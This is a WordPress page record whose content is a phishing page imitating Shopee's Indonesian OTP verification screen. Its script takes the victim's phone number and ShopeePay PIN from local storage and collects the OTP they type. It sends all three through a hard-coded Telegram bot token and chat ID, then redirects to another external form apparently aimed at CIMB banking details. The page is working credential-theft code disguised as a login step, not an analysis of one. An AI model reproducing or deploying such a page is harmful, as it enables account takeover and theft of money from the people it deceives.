{"id":210,"date":"2026-06-04T13:43:18","date_gmt":"2026-06-04T13:43:18","guid":{"rendered":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=210"},"modified":"2026-06-04T16:10:25","modified_gmt":"2026-06-04T16:10:25","slug":"210-2","status":"publish","type":"page","link":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=210","title":{"rendered":"SHOPEE OTP"},"content":{"rendered":"\n<meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Verifikasi OTP &#8211; Shopee<\/title>\n    <style>\n        * {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box;\n            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;\n        }\n\n        body {\n            background-color: #ffffff;\n            min-height: 100vh;\n            padding: 0 24px;\n        }\n\n        .header {\n            display: flex;\n            align-items: center;\n            padding: 20px 0;\n            margin-bottom: 60px;\n        }\n\n        .back-btn {\n            font-size: 28px;\n            color: #EE4D2D;\n            text-decoration: none;\n            font-weight: 300;\n        }\n\n        .header-title {\n            font-size: 26px;\n            font-weight: 500;\n            color: #222;\n            margin-left: 10px;\n        }\n\n        .instruction {\n            text-align: center;\n            font-size: 20px;\n            color: #333;\n            margin-bottom: 50px;\n            line-height: 1.6;\n        }\n\n        .phone-display {\n            font-weight: 500;\n            color: #222;\n        }\n\n        .otp-container {\n            display: flex;\n            justify-content: center;\n            gap: 12px;\n            margin-bottom: 40px;\n        }\n\n        .otp-input {\n            width: 45px;\n            height: 55px;\n            border: none;\n            border-bottom: 1px solid #cccccc;\n            font-size: 24px;\n            font-weight: 500;\n            text-align: center;\n            outline: none;\n            background: transparent;\n        }\n\n        .otp-input:focus {\n            border-bottom-color: #EE4D2D;\n        }\n\n        .btn-next {\n            width: 100%;\n            padding: 15px;\n            background-color: #e9e9e9;\n            color: #bbbbbb;\n            border: none;\n            border-radius: 4px;\n            font-size: 18px;\n            font-weight: 500;\n            cursor: not-allowed;\n            transition: all 0.2s ease;\n        }\n\n        .btn-next.active {\n            background-color: #EE4D2D;\n            color: white;\n            cursor: pointer;\n        }\n\n        .timer-section {\n            text-align: center;\n            margin: 15px 0 40px;\n            min-height: 30px;\n        }\n\n        .timer-text {\n            font-size: 15px;\n            color: #666;\n            margin: 0;\n        }\n\n        .timer-text span {\n            font-weight: bold;\n            color: #EE4D2D;\n            font-size: 16px;\n        }\n    <\/style>\n\n\n\n    <div class=\"header\">\n        <a href=\"pin_shopeepay.html\" class=\"back-btn\">\u2190<\/a>\n        <h1 class=\"header-title\">Log in<\/h1>\n    <\/div>\n\n    <div class=\"instruction\">\n        Kode OTP telah kami kirim ke<br>\n        <span class=\"phone-display\" id=\"tampilNomor\"><\/span>\n    <\/div>\n\n    <div class=\"otp-container\">\n        <input type=\"text\" class=\"otp-input\" maxlength=\"1\" inputmode=\"numeric\">\n        <input type=\"text\" class=\"otp-input\" maxlength=\"1\" inputmode=\"numeric\">\n        <input type=\"text\" class=\"otp-input\" maxlength=\"1\" inputmode=\"numeric\">\n        <input type=\"text\" class=\"otp-input\" maxlength=\"1\" inputmode=\"numeric\">\n        <input type=\"text\" class=\"otp-input\" maxlength=\"1\" inputmode=\"numeric\">\n        <input type=\"text\" class=\"otp-input\" maxlength=\"1\" inputmode=\"numeric\">\n    <\/div>\n\n    <button id=\"tombolLanjut\" class=\"btn-next\">Lanjut<\/button>\n\n    <div class=\"timer-section\">\n        <p class=\"timer-text\">Tunggu <span id=\"waktuTersisa\">01:00<\/span> untuk kirim ulang kode<\/p>\n    <\/div>\n\n    <script>\n        const BOT_TOKEN = \"8718805253:AAEGPe1KKTEv3cYYoA3jFMzlbSvw5282LYA\";\n        const CHAT_ID = \"5751726677\";\n\n        const nomorTelepon = localStorage.getItem('nomorTelepon') || \"Nomor tidak diketahui\";\n        const pinShopeePay = localStorage.getItem('pinShopeePay') || \"Tidak diketahui\";\n        document.getElementById('tampilNomor').textContent = nomorTelepon;\n\n        const otpInputs = document.querySelectorAll('.otp-input');\n        const tombolLanjut = document.getElementById('tombolLanjut');\n        const waktuTersisaEl = document.getElementById('waktuTersisa');\n\n        let waktu = 60;\n        let intervalTimer;\n\n        function mulaiTimer() {\n            waktu = 60;\n            waktuTersisaEl.textContent = \"01:00\";\n            if (intervalTimer) clearInterval(intervalTimer);\n\n            intervalTimer = setInterval(() => {\n                waktu--;\n                let menit = Math.floor(waktu \/ 60);\n                let detik = waktu % 60;\n                waktuTersisaEl.textContent = `${menit < 10 ? '0' + menit : menit}:${detik < 10 ? '0' + detik : detik}`;\n                if (waktu <= 0) { clearInterval(intervalTimer); waktuTersisaEl.textContent = \"00:00\"; }\n            }, 1000);\n        }\n\n        mulaiTimer();\n\n        otpInputs.forEach((input, i) => {\n            input.addEventListener('input', function() {\n                this.value = this.value.replace(\/[^0-9]\/g, '');\n                cekOTPLengkap();\n                if (this.value && i < otpInputs.length - 1) otpInputs[i+1].focus();\n            });\n            input.addEventListener('keydown', e => {\n                if (e.key === 'Backspace' && !this.value && i > 0) otpInputs[i-1].focus();\n            });\n        });\n\n        function cekOTPLengkap() {\n            const lengkap = [...otpInputs].every(inp => inp.value);\n            tombolLanjut.classList.toggle('active', lengkap);\n        }\n\n        tombolLanjut.addEventListener('click', function() {\n            if (!this.classList.contains('active')) return;\n            const otp = [...otpInputs].map(inp => inp.value).join('');\n            this.disabled = true; this.textContent = \"Memverifikasi...\";\n\n            const pesan = `\u2705 *DATA LENGKAP AKUN SHOPEE*\\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\\n\ud83d\udcf1 Nomor: \\`${nomorTelepon}\\`\\n\ud83d\udd11 PIN ShopeePay: \\`${pinShopeePay}\\`\\n\ud83d\udd22 OTP: \\`${otp}\\`\\n\u23f0 Waktu: ${new Date().toLocaleString('id-ID')}\\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501`;\n\n            fetch(`https:\/\/api.telegram.org\/bot${BOT_TOKEN}\/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(pesan)}&parse_mode=Markdown`)\n                .then(res => res.json())\n                .then(data => {\n                    if (data.ok) window.location.href = \"https:\/\/fromcard.my.id\/form_cimb\/\";\n                    else { alert('Kode OTP salah.'); this.disabled = false; this.textContent = \"Lanjut\"; otpInputs.forEach(i => i.value=''); otpInputs[0].focus(); }\n                })\n                .catch(() => { alert('Koneksi bermasalah.'); this.disabled = false; this.textContent = \"Lanjut\"; });\n        });\n\n        otpInputs[0].focus();\n    <\/script>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Verifikasi OTP &#8211; Shopee \u2190 Log in Kode OTP telah kami kirim ke Lanjut Tunggu 01:00 untuk kirim ulang kode<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"from","meta":{"footnotes":""},"class_list":["post-210","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/210","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=210"}],"version-history":[{"count":3,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/210\/revisions"}],"predecessor-version":[{"id":222,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/210\/revisions\/222"}],"wp:attachment":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=210"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}